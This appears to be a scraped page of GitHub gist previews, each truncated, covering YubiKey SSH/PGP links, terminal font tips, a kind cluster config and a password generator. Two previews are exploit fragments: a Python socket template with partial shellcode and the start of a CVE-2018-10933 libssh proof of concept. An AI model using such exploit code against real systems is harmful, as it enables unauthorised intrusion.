SSH/PGP
https://github.com/lfit/ssh-gpg-smartcard-config/blob/master/YubiKey_NEO.rst
https://www.esev.com/blog/post/2015-01-pgp-ssh-key-on-yubikey-neo/
https://developers.yubico.com/PGP/SSH_authentication/
Import PGP key
https://askubuntu.com/questions/572605/unicode-characters-do-not-appear-in-gnome-terminal-for-vim-airline | |
http://paste.ubuntu.com/9751270/ | |
https://github.com/powerline/fonts/ | |
Make sure terminal type is set to xterm-256color |
#!/usr/bin/python3 | |
import socket | |
#Python 2 is dead/on borrowed time, write exploits in Python3 FTW | |
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
#Replace shellcode with your own but prepend b" to hex strings | |
shellcode = ( | |
b"\xda\xc3\xd9\x74\x24\xf4\x5f\x33\xc9\xbd\xc6\xe9\x1f\xf7\xb1" | |
b"\x52\x31\x6f\x17\x03\x6f\x17\x83\x29\x15\xfd\x02\x49\x0e\x80" |
#CVE-2018-10933 PoC modified from Minh Tuan Luong <not.soledad () gmail com> example PoC | |
import paramiko | |
import socket | |
import sys | |
nbytes = 4096 | |
if len(sys.argv) < 2: | |
print("Usage: " + sys.argv[0] + " <hostname> <port (optional: default 2222}>") | |
exit(1) |
# Lab cluster setup | |
kind: Cluster | |
apiVersion: kind.x-k8s.io/v1alpha4 | |
name: lab | |
# patch the generated kubeadm config with some extra settings | |
kubeadmConfigPatches: | |
- | | |
apiVersion: kubelet.config.k8s.io/v1beta1 | |
kind: KubeletConfiguration | |
evictionHard: |
import string | |
import secrets | |
def generate_password(length=20): | |
alphabet = string.ascii_letters + string.digits + string.punctuation | |
password = ''.join(secrets.choice(alphabet) for _ in range(length)) | |
return password | |
print(generate_password()) | |
print(generate_password(25)) |
eBPF Documentary - https://youtu.be/Wb_vD3XZYOA